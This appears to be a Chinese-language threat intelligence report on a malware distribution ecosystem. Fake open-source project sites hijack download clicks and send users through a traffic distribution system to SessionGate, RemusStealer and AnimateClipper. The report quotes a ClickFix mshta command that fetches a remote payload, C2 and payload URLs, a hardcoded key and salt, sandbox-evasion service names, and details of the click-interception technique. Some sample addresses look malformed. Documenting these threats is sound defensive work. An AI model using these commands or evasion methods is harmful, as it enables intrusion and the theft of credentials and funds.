冒名、点击劫持与 TDS:深入恶意软件分发生态系统

核心发现

• • 大规模冒名行动：Check Point Research 调查了一起大规模行动，攻击者冒名开源和免费软件项目来截获搜索流量，部分目标包括 Ghidra、dnSpy、SpiderFoot 等安全研究工具。这些网站设计精良，粗看与正规项目门户几乎无异，但真正的问题藏在用户交互之后。
• • TDS 劫持链路：这些页面加载了托管在 CloudFront 上的 JavaScript 阶段脚本，将"下载"按钮的点击事件转化为流量分配系统（TDS）的接力。TDS 实施严格过滤：首次访问状态、强制点击确认、反机器人/反分析逻辑、VPN/数据中心过滤、频率限制。
• • 流量变现为主，恶意 payload 为辅：该生态系统主要服务于流量获取和变现（很可能借助合法广告技术工具），但下游重定向链多次将选中的用户引向恶意软件分发基础设施。
• • 多家族恶意软件：我们分析的分支最终指向多个恶意软件家族，包括 RemusStealer（窃密木马）、AnimateClipper（加密货币剪贴板劫持器）和 SessionGate 框架（投递 PUA）。

背景

当我们在 Google 上搜索一款流行软件时，通常会点击第一个结果——因为官方网站往往排名最高、出现在最显眼的位置。

进入一个设计专业、链接指向项目官方 GitHub 仓库的网站后，大多数用户会凭直觉信任它，直接下载并运行安装程序，不会多想。一切看起来毫无异常：Google 第一条结果、专业感十足的"官方网站"、引用真实项目。谁会怀疑？

Check Point Research 调查了一场大规模活动：恶意和不受欢迎的软件通过门控流量路由栈进行分发。行动依赖于精心构建的冒名开源/免费软件网站，点击事件触发流量分配系统（TDS）——根据地理位置、设备类型、浏览器指纹、活动规则等因素将不同用户导向不同目的地的流量过滤和重定向层，最终可能引向 payload 下载。

这次行动特别值得注意的一点是：它选择了高信任品牌——包括 Ghidra 和 dnSpy 等逆向工程工具，而这些工具正是安全研究人员和恶意软件分析师日常使用的。

到 2025 年底，冒名流行开源和免费软件网站的现象已有记录。2025 年 11 月，Fullstory 报道了一大批此类欺诈域名，当时未在样本中发现直接滥用，但强调了潜在的安全风险。

我们的发现表明这一生态系统已经进化。到 2025 年 12 月左右，我们观察到该域名集群中的网站已将 TDS 脚本嵌入工作流；从 2026 年 1 月初开始，我们记录到通过同一基础设施进行的活跃恶意软件分发。

VirusTotal 遥测数据反映了其规模：相关样本总计提交超过 5000 次，意味着仅公开共享的可见子集就有巨大触及面。实际暴露风险可能显著更高。

通过该 TDS 基础设施分发的恶意软件家族包括：

• • SessionGate：此前未知的多阶段加载器，具有重度混淆和广泛反分析机制，获取最终 payload 极为困难。在我们观察到的链路中，它被用于分发潜在不必要应用（PUA）。
• • RemusStealer：新兴信息窃取木马，设计目标是窃取超过 20 款浏览器的数据，并针对数百种浏览器扩展和应用，包括加密货币钱包、双因素认证工具和密码管理器。
• • AnimateClipper：加密货币剪贴板劫持器，能够劫持超过 20 个区块链生态系统的交易。

重要的是，我们不认为这些冒名网站专门用于恶意软件分发。更可能的主要目标是流量获取和变现。然而，通过嵌入门控 TDS 层并把搜索流量引入其中，运营者成为了分发链的一环——其下游消费者可以包括恶意软件分发商。同一条驱动灰色变现的流量管道，也可以选择性路由真实用户至恶意 payload。

冒名、点击劫持与点击后路由

我们的调查始于若干冒名正规项目页面和下载门户的域名，这些门户针对的是安全研究人员广泛使用的工具。

对于相关搜索查询，这些"项目门户"在搜索结果中排名出奇地高：

这些网站的共同点是共享一个阶段组件：页面加载来自 Amazon CloudFront（全球广泛使用的合法内容分发网络服务）的流量分配系统脚本。这些脚本将用户的第一次"下载"点击转化为点击后路由链。

脚本从类似如下的 URL 模式中获取：

• • https://d33f51dyacx7bd.cloudfront[.]net/?aydfd=1237183
• • https://dcbbwymp1bhlf.cloudfront[.]net/?wbbcd=1236609

我们共识别出 100 多个当前活跃网站嵌入了这些脚本，复用相同的活动风格标识符和 CloudFront 域名。

以下是该集群的部分入口域名（重点标注常被技术用户信任的冒名品牌）：

安全/研究工具仿冒品：

• • ghidralite[.]com
• • dnspy[.]org
• • ilspy[.]org

开发者/实用工具仿冒品：

• • grpcurl[.]com
• • mqttexplorer[.]com
• • mfcmapi[.]com
• • winsetupfromusb[.]org
• • crystaldiskmark[.]org
• • guiformat[.]com

虽然我们识别了多个似乎主要针对安全研究人员的目标，但我们没有发现任何强证据表明这可能是定向攻击。如前所述，最终目标似乎主要是流量获取和变现。

下载按钮点击劫持

这些假冒网站使用的核心技巧是："下载"按钮对细心用户来说也看起来是合法的。页面保留了原始 href，通常指向真实上游目的地（如 GitHub release），这意味着鼠标悬停时浏览器状态栏仍显示可信的目标。

同时，一旦用户与页面交互，之前加载的 CloudFront 托管 JavaScript 就可以拦截第一次符合条件的用户交互，将其转交给流量分配系统（TDS）。该脚本包含多种浏览器端服务方法——即打开或导航标签页/窗口至 TDS 控制目的地的替代策略。

默认服务方法由配置提供，而浏览器端运行时仍可根据浏览器家族、桌面 vs. 移动环境、频率限制状态和广告拦截逻辑在本地自适应。在实践中，这些方法主要在如何保留浏览器接受的用户启动开启机会并传递最终 TDS URL 方面有所不同。运行时包含多种方法，包括调用 window.open 的缓存引用、使用不同浏览器中的不同主要事件、打开后续导航至最终 URL 的中间或临时空白标签页，或使用动态创建的 <a target="_blank"> 元素上的合成点击，该元素的 javascript: URL 将 window.location.href 赋值为 TDS URL。

例如，在桌面版 Firefox 中，运行时使用捕获阶段点击处理器；在桌面版 Chrome 中，对应的主要事件是 mousedown。处理器记录用户意图目的地（如果交互发生在链接内部），生成 TDS 运行时 URL，调用所选服务方法，然后通过调用 preventDefault() 取消正常导航、调用 stopImmediatePropagation() 阻止其他处理器处理同一事件，从而接管原始交互。

路由逻辑还受到浏览器端状态和频率限制的门控，包括存储在 localStorage 中的值。这制造了一个可重现性陷阱：第一次符合条件的点击可能经过 TDS 链，而刷新、重复点击或回访可能退回到原始可见链接目标。脚本还将点击的链接目标向下游转发，使路由层能够知道用户试图打开什么。

换句话说，点击看似合法的链接或下载按钮，可能会被转化为完全导航至 TDS 控制的完全不同 URL。

真实重定向链：门控与分支结果

点击移交后，工作流以一系列重定向的形式可见。我们观察到大量重定向链变体。在许多情况下，从同一 IP 地址重复尝试进入 TDS 链会导致下载良性软件（如 Opera 浏览器）。有些链以交付不必要但无害的浏览器扩展告终。

同时，其他重定向路径最终导致恶意软件下载。

在我们所有实验中，浏览器首先被重定向至点击后重定向器：

http://redirectclick[.]net/track/2025/

然而，这个域名并非硬编码在页面或脚本中。它通过从 CloudFront 传递的解码阶段配置动态提供，连同其他活动参数。

在多个案例中观察到的解码配置块包含：

{  "id": "123456",  "type": "click",  "url": "http://redirectclick[.]net/track/2025/",  "token": "abc123"}

重定向器随后将浏览器转发至多个可能分支之一。观察到的一些变体包括：

• • 在一类重定向链中，用户直接被发送至 offer wall / content locker（unlockcontent.org），可能导致关联标记下载合法软件或潜在不必要应用（PUA）。
• • 在另一类中，用户被重定向进入多门控链（trkscope[.]xyz、file-enter-web[.]com），然后才到达最终交付基础设施。

多门控路径在反机器人门控（file-enter-web[.]com）之后引入第二个分支点。从那里开始，会话可以路由至带直接归档交付的下载门控（media.stellarcloudhub1[.]cfd、arch2.maxdatahost1[.]cyou），或路由至桥接至外部托管平台的不同门控路径（观察到以 mega.nz 结尾）。

具体重定向路径似乎受多种因素影响，包括用户所在国家、浏览器类型、VPN 使用情况、客户端指纹、点击上下文和原始入口域名。

SessionGate：从"良性安装程序"到门控多阶段框架

我们发现了多款恶意软件家族作为最终 payload，包括 RemusStealer 和 AnimateClipper，但其中最引人注目的是一款此前未知恶意软件，我们将其命名为 SessionGate。

SessionGate 案例引起我们的注意，不仅因为其多阶段交付链和广泛的验证逻辑，还因为其相当不寻常的反分析方法。结合 TDS 端门控，获取最终 payload 对分析师而言异常困难。

VirusTotal 遥测数据显示该分支触及广泛。与 SessionGate 家族相关的单个样本提交了数千次，有些达到约 2000 至 3500 次。观察到的提交和查询活动全球分布，在土耳其、波兰、巴西、德国、法国、俄罗斯和英国尤为突出。

我们认为 TDS 链包含一个后端服务"注册"受害者 IP 地址，之后受害者必须端到端完成整个重定向路径。在后续阶段交付的 payload 似乎是每个客户端会话唯一生成的，在服务器端为每个会话生成，并设计为一次性执行。嵌入模块在 payload 内部加密，解密密钥材料由 C2 服务器仅针对该特定样本生成。因此，只有在研究环境在任何阶段都不引发怀疑、分析师设法完整拦截并解密所有相关流量的情况下，才能实现完整解密。

此外，每个阶段都采用混淆技术，有效破坏静态分析工具（反汇编器和反编译器），甚至可能阻碍基于 AI 的逆向工程代理。

我们识别出两个启动下载属于该家族的样本的着陆页：

• • hxxps://softwarecheck[.]org/index/
• • hxxps://softcheckupdate[.]org/install/

着陆页如下所示：

每个着陆页为客户端会话生成一个短暂的唯一 payload 下载 URL，绑定到客户端浏览器和 IP 地址。生成的 URL 示例包括：

hxxps://softwarecheck[.]org/download/abc123/setup.exehxxps://softcheckupdate[.]org/get/msi_xyz.exe

HTML 页面包含混淆的 JavaScript，在允许访问 payload 之前执行服务器端验证步骤（由 hxxps://javascriptapiusa[.]com/lic? 执行）。然后使用相同名称但 .exe 扩展名下载 payload。

我们观察到不同 S3 bucket 可能被使用。以下是 2026 年 1 月至 3 月期间我们识别出的一部分：

• • hxxps://newappupdate1[.]s3.amazonaws.com
• • hxxps://software-checkup[.]s3.eu-west-3.amazonaws.com

下载器内置诱饵：嵌入的 7-Zip SFX 内容

加载器包含嵌入的 7-Zip 归档，当其门控交付路径不继续时，可以转向良性安装程序体验。

这种诱饵设计在操作上很重要：分析师和自动化沙箱通常观察到的是"正常安装程序" UI，而恶意交付链仍然被门控。

第一批红旗之一是下载的归档约 20 MB，但其中只包含一个 15 MB 的文件。剩余约 5 MB 是高度混淆的加载器代码。

由于所使用的混淆技术——包括注入的垃圾代码、不透明谓词和字符串加密—— resulting 函数变得极其臃肿。这本身就显著增加了分析难度，因为它可以破坏常用工具的部分功能，包括 IDA 的反编译器甚至图形模式。有些函数超过 500 KB。

此外，加密字符串 blob 被放置在条件分支（不透明谓词）之后的函数体内部。这导致反汇编器将字符串数据误解释为可执行代码，进一步破坏分析，并可能阻止工具正确识别函数边界。

然而，这种混淆方法非常有特征性，遵循相同的模式，可以轻松识别该家族的其他样本。

样本还运行多个环境检查，影响它是否继续恶意交付或退回诱饵行为。加载器检查某些服务的存在，但服务名称不是明文存储的。它比较 Adler-32 哈希值与常量，有效隐藏了指标列表。

识别的服务名称指标包括：

• • eelam, ehdrv, eamonm, epfwwfp, epfw, ekbdflt, edevmon
• • npf, npcap, sysmondrv

除了服务，加载器还枚举运行中的进程（基于 Toolhelp 的扫描）。这里的指标也不是明文：通过基于哈希的逻辑（SHA1 表方法）进行比较，再次降低了简单字符串搜索的价值。

最后，加载器检查系统上下文，例如：

• • Windows Defender PUA/PUS 相关注册表设置（如 PUAProtection、MpEnablePus）
• • Windows "Enterprise" 版本检测（通过检查 ProductName 字符串）

综合来看，这些检查确保恶意活动仅在最有可能不被检测的系统上执行。

Stage 1：加载器的 C2——多步"签入"与门控

执行后，加载器尝试联系其 C2 并在检索下一阶段 payload 之前执行多个签入步骤。

在我们分析的活动，一个观察到的 C2 域名是：

• • appfreshstart[.]com

我们还观察到相关活动使用以下域名：

• • appgetonline[.]com
• • webinnosetup[.]com
• • appmakingcenter[.]com

加载器的 C2 请求使用独特的 URL 结构，包含多个路径段和查询后缀，并使用特定 User-Agent 字符串 NSIS_InetLoad (Mozilla)。模式如下：

https://<domain>/<path>/<tokenA>/check-in?<tokenB>=<value>&t=<timestamp>&sig=<signature>

tokenX 字段中的值在样本中加密存储，每个活动唯一。它们还用于标识特定阶段，例如：

• • check-in
• • check-in（权限提升后）
• • payload 请求

构造 URL 时，加载器结合基于随机 tick 派生值、时间戳和签名，签名为 SHA1({base_path}/{timestamp}/{salt})，其中 salt 是样本和服务器都知道的共享密钥。

在我们分析的样本中，salt = "118107B05C590076239FF759CD9E5"。

对于签入请求，服务器响应一个十六进制字符串。然后加载器对该字符串中的所有十进制数字求和。如果结果值为偶数，则中止执行。

当我们尝试从同一 IP 地址再次下载 payload 时，以及在样本从预期 TDS 链之外获取时，我们观察到了这种行为。

使用类似的请求结构但不同的 tokenA 和 tokenB 值，加载器向服务器请求下一阶段 payload。在这一步，服务器也可以阻止交付：在我们的实验中，我们偶尔收到空响应。在一些活动中，payload 额外加密。

我们观察到加载器的多个变体。在某些情况下，下载的 payload 直接从内存执行；在其他情况下，它被写入磁盘。对于基于磁盘的执行，加载器在 %TEMP% 下创建临时目录和文件。然后使用两个命令行参数启动下载的文件。

Stage 2：又一个内置诱饵的 7-Zip SFX 归档

第二阶段二进制文件是另一个大型 Windows GUI 可执行文件（通常高达 10MB），它冒名合法 7-Zip SFX 安装程序。其字符串加密和代码混淆风格与同一交付框架中的其他样本高度一致。

值得注意的是，它包含 PDB 路径：D:\\code\\cpp-downloader-scb-reg-other\\Plugins\\7ZipDownloader\\Output\\SFXWin.pdb。我们使用此工件进行 pivot，在 VirusTotal 上找到 200 多个类似样本，最早的出现于 2025 年 8 月底。

启动时，样本检查其命令行：第一个参数必须看起来像数字 token，第二个必须看起来像 base64 字符串。然后 base64 blob 进一步解密并由嵌入模块验证。如果检查失败，样本退回良性 7-Zip SFX 行为，显示正常"安装程序/提取器"流程。

当门控通过时，二进制文件读取其自身磁盘镜像，提取两个嵌入的 DLL payload，并使用 AES-CBC 解密。模块不写入磁盘：通过内存 PE 手动映射（通常称为反射/手动映射加载）加载，然后在导出的函数中转移执行。

• • DLL #1 首先使用本地派生的密钥解密：key1 = SHA256("WDNkCQnmXc" || tail32)，其中 tail32 是加载器文件镜像的 32 字节片段。
• • 映射 DLL #1 后，加载器解析并调用名为 c1 的导出，传递加载器自身的 SHA-256 哈希（大写十六进制字符串）和输出缓冲区。
• • c1 的输出与第二个硬编码字符串常量组合，用于派生 DLL #2 的密钥：key2 = HEX_UPPER(SHA256("webh5vnGVew" || c1_output))
• • 然后加载器以相同方式解密并映射 DLL #2，并调用其导出入口点（观察为 mainFunc），传递原始命令行参数。

然而，在解密 DLL #2 时我们遇到了主要问题。问题是函数 c1 的输出不是静态的，而是取决于 C&C 服务器返回的数据。

DLL #1 — "密钥经纪人"模块

在第二阶段 SFX 加载器在内存中解密并映射 DLL #1 后，它解析并调用名为 c1 的导出函数。从加载器的角度来看，DLL #1 充当密钥经纪人：它基于进程命令行执行严格门控，联系专用"CRC" C2 端点，将服务器响应转换为短 token，并将其返回给加载器。然后加载器将此 token 与硬编码值混合，派生用于解密 DLL #2 的 AES 密钥材料。

命令行门控

首先，模块执行与父可执行文件相同的命令行检查：第一个参数必须看起来像数字 token，第二个必须看起来像 base64 字符串。

然后使用固定硬编码密钥 BFEA4EE8EF934BE7A2B4C64A0BAD1E92（32 字节；非十六进制解码）和零 IV，通过 AES-256-CBC 解码第二个命令行参数中的 base64 字符串。

它跳过前 32 字节并将剩余字节视为 UTF-16 字符串。在我们分析的样本中，此字符串保存类似以下的路径标记：

C:\Users\user\Desktop\SetupFile_411815.exe

然后通过检查文件名后缀模式验证解密值：文件名必须包含下划线后跟 3-10 个小写字母数字字符，并以扩展名结尾（如 _411815.exe）。此检查在操作上很重要：它防止模块在预期交付流之外执行时正常工作。如果任何检查失败，DLL 提前退出，不返回可用输出，这导致加载器的"良性 SFX 后备"流程。

除了命令行门控，DLL #1 还运行轻量级反分析检查。特别是，它根据硬编码黑名单检查本地环境，这些黑名单派生自：

• • 当前用户名和计算机名的 SHA-256 哈希
• • ntdll.dll 导出名称的 MD5 哈希（检测非标准运行时环境（如仿真层或重度检测沙箱）的常见方法）

当任何黑名单条件匹配时，模块在联系其密钥服务器之前中止。

密钥请求：C2 接收加载器哈希，返回每个构建的 token 材料

如果门控通过，DLL #1 联系专用"CRC" C2 域名（观察到的变体包括）：

• • yourfastcrc[.]com
• • mobileversioncrc[.]com
• • webcrcprove[.]com
• • integritycrc[.]com

请求遵循一致的模式：

https://<crc-domain>/check_version?version=<hash>

version= 中传递的值包含第二阶段加载器自身的 SHA-256 十六进制哈希（大写），由第二阶段加载器在调用 c1 时提供。

C2 响应是一个短的 ASCII 字符串，例如：

qWTL9kRfF3ndz5UGs3jPWsriG4yFfRnvZxffshBIunIBDFwVfgGbGFUjpTJaFwBB

DLL #1 使用前 64 个字符并执行确定性转换以产生 32 字符的 base62 token，然后通过输出缓冲区返回给加载器。对于上面的示例，生成的值是：

q2lOy0GwLqW1yRwIYAzH33CjBV9PoRrA

加载器随后将此 c1 输出与硬编码常量组合，派生 DLL #2 的 AES 密钥材料。

影响：每个客户端、一次性密钥与强服务器端门控

在对照实验中，我们反复观察到"CRC" C2 端点可以对相同的 version=<hash> 请求返回不同的值。此行为与活动的更广泛设计一致：

• • 第二阶段 payload 似乎是每个客户端会话生成的
• • DLL #2 除非获得匹配构建的正确 c1 输出，否则无法解密

基于流量捕获和重复检索尝试，我们的工作评估是"CRC" C2 可能实现一次性密钥释放语义和与受害者上下文（如原始 IP 地址/会话状态）绑定的附加门控。在实践中，这意味着：

• • 正确的密钥材料可能仅为预期受害者会话释放一次
• • 后续请求（或来自不同 IP 的请求）可能以看似有效但非功能的随机字符串回复，导致第二阶段加载器将 DLL #2 解密为垃圾而非有效 PE 镜像

此设计显著增加了研究难度。即使分析师捕获了完整重定向链并快速获取样本，服务器端约束仍可能阻止可靠重现解密和分析最终 payload（DLL #2）所需的密钥交换。

DLL #2 — 解密后的 Payload："安装程序/Offer 框架"模块

在我们成功捕获干净的端到端交付运行并解密嵌入模块后，我们获得了实现真正业务逻辑的第二阶段 DLL：跟踪、配置检索、payload 选择、下载和静默执行。

在此样本中，我们观察到与所有先前分析模块相同的代码模式和混淆技术，这明确表明它们属于同一个恶意软件家族。

解密的 payload 最好描述为网络控制的安装程序/捆绑器框架。它被设计为在浅层观察时看起来像合法安装程序，同时在后台静默执行服务器驱动的下载-执行工作流。

重要的是，我们在此模块中未观察到木马或 RAT 行为：没有凭证窃取、浏览器数据库抓取、键盘记录或交互式远程控制的证据。相反，该模块旨在实现可配置的交付（服务器控制的 payload URL）和额外软件的静默安装。

从防御角度来看，这仍然使其成为高风险。任何可以动态从远程服务器获取配置然后按需下载和执行二进制文件的组件，都是可被滥用来分发恶意软件的交付原语。

核心工作流一览

在高层次上，DLL 实现以下管道：

1. 1. 构建加密请求
2. 2. 从 C&C 服务器（在我们分析的样本中为 appmakingcenter[.]com）检索加密配置
3. 3. 解码配置为键/值表，获取下载 URL
4. 4. 下载 payload
5. 5. 通过 cmd.exe 静默执行
6. 6. 发送跟踪/遥测事件

实现围绕一组少量可重用构建块：

• • 通过 HTTPS 的加密"面板协议"
• • 配置解码器和解析器
• • 下载器
• • 静默进程启动器
• • 多个跟踪/遥测辅助函数

它似乎安装什么软件？

解密的模块包含许多面向产品的字符串（安装程序 UI 文本、产品名称和 AppData\Local\Programs\... 下预期的安装后可执行文件路径）。初看起来，这像是硬编码的"捆绑产品组合"（PDF Spark、PDF Proton、PDF Ignite、PDF Skill、Document Sparkle、NibblrAI、PCPooch）。然而，如上所述，DLL 是由服务器配置驱动的多产品安装程序外壳，而不是固定下载链接的集合。

具体来说，模块从远程服务器获取加密后端配置，解码为内部键/值表，然后：

• • 使用表中数字产品标识符（配置键 22）选择要显示的产品品牌/UI 文本，以及要用于安装后启动的预期可执行文件路径（通过 CreateProcessW）
• • 使用同一表中的下载 URL（配置键 11，PRODUCT_DOWNLOAD_URL）作为 WinINET 下载器的输入

这就是为什么你可以在 DLL 中看到许多产品名称和安装路径，却没有看到它们的下载 URL 作为明文：URL 由后端动态提供。

最后，如果后端配置缺少键 11，解析器将 PRODUCT_DOWNLOAD_URL 初始化为硬编码的 7-Zip 安装程序 URL（https://www.7-zip.org/a/7z2301-x64.exe），该 URL 可被完整服务器响应覆盖。

案例二：RemusStealer

在我们分析的第二个案例中，TDS 重定向链以提供一个着陆页结束，该页提供受密码保护的 ZIP 归档下载链接以及打开它所需的密码。

归档约 14 MB，但解压后包含一个磁盘大小约 850 MB 的单个可执行文件。该文件通过大量零填充人为膨胀：移除填充后实际非零内容约 32 MB。

这种膨胀是一种实用规避技术。超大的二进制文件可以减慢或破坏自动处理（静态解包、AV 扫描管道、沙箱分析），也可以绕过对文件大小施加限制或超时的工具或策略。

可执行文件本身是使用 Go 编写的第一阶段加载器。它在 .rdata 中包含嵌入式恶意 payload，在运行时使用简单转换解码，并通过手动 PE 映射执行。

Payload：Remus Stealer

嵌入式第二阶段 payload 是一种 C2 控制的信息窃取木马，以 Remus（Maas 窃取器）销售。我们观察到的"Remus"的第一个公开列表是由名为 RemusStealer 的用户在俄语地下论坛于 2026 年 2 月 12 日发布的。

根据供应商广告，Remus 被定位为订阅产品（两个等级分别标价 $250 和 $500），重点关注广泛的浏览器和扩展收集、具有加密的自定义泄露协议以及重度使用低级 OS 交互（"系统调用"）。

RemusStealer 实现以下功能：

• • C2 驱动的收集（"任务分配"）：服务器通过发送加密 JSON 任务定义每次运行收集的内容；多个任务可以顺序执行，直到服务器发出完成信号。
• • 浏览器数据窃取：Chromium 家族（History、Login Data、Login Data For Account、Network\Cookies、Web Data）；Firefox/NSS 配置（key4.db、cert9.db、cookies.sqlite、logins.json、formhistory.sqlite、places.sqlite、prefs.js、extensions.webextensions.uuids）
• • Chromium 密钥材料：通过 DPAPI（CryptUnprotectData）从 Local State 提取主密钥，并作为单独的 /Key artifact 上传。
• • 扩展驱动窃取：服务器可以传递显式扩展目标列表（带 {name, path} 的 extensions[] 对象），允许选择性收集。
• • 文件系统搜索 + 泄露：服务器控制的搜索规则（路径、掩码、深度、大小限制、链接处理），支持 %ENV% 扩展（如 %APPDATA% 路径）
• • 注册表侦察：服务器控制的任意路径/值对查询，支持 HKCU 相对路径和 WOW64 视图重试逻辑
• • 剪贴板窃取：捕获 CF_UNICODETEXT，以 Clipboard.txt 泄露（每次运行收集一次）
• • 屏幕截图捕获：支持并以 Screenshot.bmp 泄露（当内部标志启用时，非无条件）

任务协议概述

二进制文件包含在运行时解密的加密 C2 列表。在分析的样本中，解密的 C2 端点是：

• • http://buccstanor[.]pics:28313（主要）
• • http://baxe[.]pics:48261（备用）

窃取器使用包含 access_token 和递增步骤计数器的 HTTP POST 请求轮询 C2。请求使用 Firefox 浏览器 User-Agent 字符串，以融入正常浏览器流量。

服务器响应是加密的 JSON 对象，包含键：

• • type — 数字命令类型
• • data — 命令参数
• • name — base64 字符串（用于 type=0）
• • extensions — {name, path} 对象列表（用于 type=3 和 type=4）

任务响应作为加密 JSON 传递。解码后，条目解析为标签和扩展标识符，带有 malware 逻辑使用的控制标志（sync、indb）。

在捕获的 C2 流量中，窃取器收到加密任务响应中包含的 332 个浏览器扩展标识符列表。目标严重偏向于加密货币钱包和凭证/密钥存储：

代表性高信号目标包括：

密码管理器：1Password、Bitwarden、LastPass、Dashlane、Keeper、RoboForm、NordPass、Proton Pass、KeePassXC、Zoho Vault

加密钱包：MetaMask（观察到多个标识符）、Rabby Wallet、Coinbase Wallet、Trust Wallet、OKX Wallet、Binance Wallet、Bitget Wallet、Phantom（Solana）、Solflare Wallet（Solana）、Keplr/Cosmostation/SubWallet（Cosmos/Substrate 生态系统）、TronLink、Exodus、Ronin Wallet、Tonkeeper/MyTonWallet、Yoroi（Cardano）、UniSat Wallet（比特币生态系统）、Suiet（Sui）/Pontem（Aptos）

双因素认证：Authy、2FAS、多个"Authenticator/TOTP/Web2FA"扩展

案例三：ClickFix 与链上 C2 解析的加密货币剪贴板劫持器

在这个 TDS 分支中，用户最终被引导至一个 ClickFix 风格的钓鱼页面（processing-in-progress-x4.t3.storage[.]dev），之后感染链静默安装一个加密货币剪贴板劫持恶意软件，一些供应商将其识别为 AnimateClipper。

该页面模仿 Cloudflare 验证屏幕，并指示用户运行：

mshta.exe "https://processing-in-progress-x4.t3.storage[.]dev/cdn/verify.inc"

mshta.exe 是旨在运行 HTML Applications（HTA）的内置 Windows 实用程序。威胁行为者经常滥用它，因为它可以使用已存在于机器上的系统二进制文件直接从远程 URL 执行基于脚本的内容。

从 hxxps://185.0xA1.0xFB[.]58/navy.7z 获取的对象不是正常的 7-Zip 归档。它的开头包含一个带有混淆 VBScript 的 HTA 页面，由 mshta.exe 执行。附加的归档内容是良性诱饵数据，不参与感染链。

VBScript 从以下位置检索下一阶段：

hxxp://217.156.122[.]75/verify.inc.rtf

尽管是 .rtf 扩展名，但该资源是一个高度混淆的 PowerShell 脚本。解混淆后，我们发现它在内存中重建额外的 PowerShell 阶段，并使用基于 RC4 的例程解密下一个 payload。

然后该阶段下载：

hxxps://cdn-1415.brightcanvas[.]digital/update/browse.bin

该文件也不符合其扩展名。在观察到的链中，它是一个 ZIP 归档，包含捆绑的 Python 环境、第三方库、Node.js 模块以及存储在 node_modules.asar 中的大型高度混淆 Python 脚本。尽管其名称，node_modules.asar 不是 Electron ASAR 归档，而是一个 Python 加载器，伪装成与包内容混合。

混淆脚本将大型 shellcode blob 直接嵌入其主体并从内存启动。它将 shellcode 复制到缓冲区，将内存保护更改为可执行，并通过 ntdll!LdrCallEnclave 将执行转移给它。在我们分析的样本中，shellcode 在进程内执行，位于当前捆绑的 Python 解释器内部。

shellcode 作为下一阶段的内存加载器运行。它解密并解压缩嵌入式 payload 容器，并将 resulting PE payload 手动映射到同一进程内存中。换句话说，node_modules.asar 不是被动归档或 Electron 工件，而是实际的基于 Python 的启动阶段，执行 shellcode 并将执行交接给下一个 payload，而不将解包的 PE 写入磁盘。

最终 payload：带链上 C2 解析的加密剪贴板劫持器

在高层次上，最终 payload 是一个剪贴板劫持加密货币剪贴板劫持器：它持续监控剪贴板中的加密货币钱包字符串，在本地识别钱包格式，用嵌入在样本中的多个攻击者控制的钱包地址替换复制的地址，并将修改后的值写回剪贴板。在实践中，这意味着受害者可以复制合法钱包地址，稍后粘贴，不知不觉地将资金发送给攻击者。

执行时，AnimateClipper 首先通过查询公共 BNB Smart Chain Testnet JSON-RPC 端点来解析其 C2。样本发出以下请求：

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x3eJ....","data":"0xfce2c737"},"latest"],"id":1}

在我们分析时，合约响应解析为 C2 域名：

kr.hugo-lapp[.]co

恶意软件使用 HTTPS 与解析后的 C2 服务器通信。在分析的构建中，观察到的逻辑包括周期性刷新签入和旨在报告地址替换活动的第二种请求格式。替换钱包本身完全嵌入在二进制文件中。

在我们分析的样本中观察到的硬编码替换地址包括：

0x3eJGUm3yQTk3Q3eJGUm3yQTk3Q3eJGUm3yQTk0xAbCdEf1234567890AbCdEf1234567890AbCd

我们还审查了流向嵌入在该样本中的钱包地址的传入交易。在我们分析的数据集中，最早的 inbound 支付记录于 2025 年 7 月，观察到的第一笔交易日期为 2025 年 7 月 12 日。这表明该操作可能已经活跃了很长时间，并表明我们观察到的 TDS 驱动感染链可能只是用于部署恶意软件的多个分发路径之一。虽然观察到的链上流入量不大，但它们表明嵌入的钱包收到了真实资金。

结论

这次活动提醒我们："看起来官方"不是一个有意义的安全信号。入口网站冒名合法开源项目门户，保留真实 GitHub 链接以通过快速视觉检查，然后使用点击拦截将第一次下载点击路由到门控 TDS 栈。从用户角度来看，路径看起来非常简单：Google 第一条结果、精心设计的"项目"网站、下载。但在表面之下，单次点击可能成为一个受害者无法同意且无法轻易审计的非确定性重定向链。

这次活动最引人注目的方面之一是用于投递 PUA 的 SessionGate 分支。其服务器端注册、一次性风格密钥释放、每个会话 payload 生成和重度混淆的组合，远超通常在商品捆绑器链中看到的水平。在实践中，这些反分析措施使甚至获取最终 payload 对研究人员来说都异常困难。虽然这种激进门控可能降低了整体投递效率，但以这次活动的规模，对运营者来说这是合理的权衡：它也降低了分析师可见性、延迟了检测，并帮助该活动在更长时间内保持低调。这反映在公开遥测中——尽管初始加载器和数百个相关中间样本在 VirusTotal 上有数千次提交，我们没有在 VirusTotal 上识别到最终 payload。

即使上游流量来源并非旨在分发恶意软件，用户反复被转移至灰色和恶意链这一事实强烈表明，供应链路径上的合作伙伴审查不足和滥用预防薄弱。向用户发送与可见链接目标不同的内容并将会话移交给原始平台控制之外的第三方基础设施的机制，至少是不公平和欺骗性流量做法的标志，而不是透明广告。

更广泛地说，嵌入式 TDS 层的行为类似于生态系统之间的经纪人：它允许下游运营商根据 GEO、浏览器指纹、反机器人检查和限制，有选择性地仅接收他们想要的会话。这使得归因更困难、问责更分散——冒名运营商不需要成为恶意软件作者才能大规模启用恶意软件投递。

保护措施

Check Point Threat Emulation 和 Harmony Endpoint 对本报告描述的攻击战术、文件类型和操作系统提供全面覆盖，并防止这些攻击和威胁。

指标（IOCs）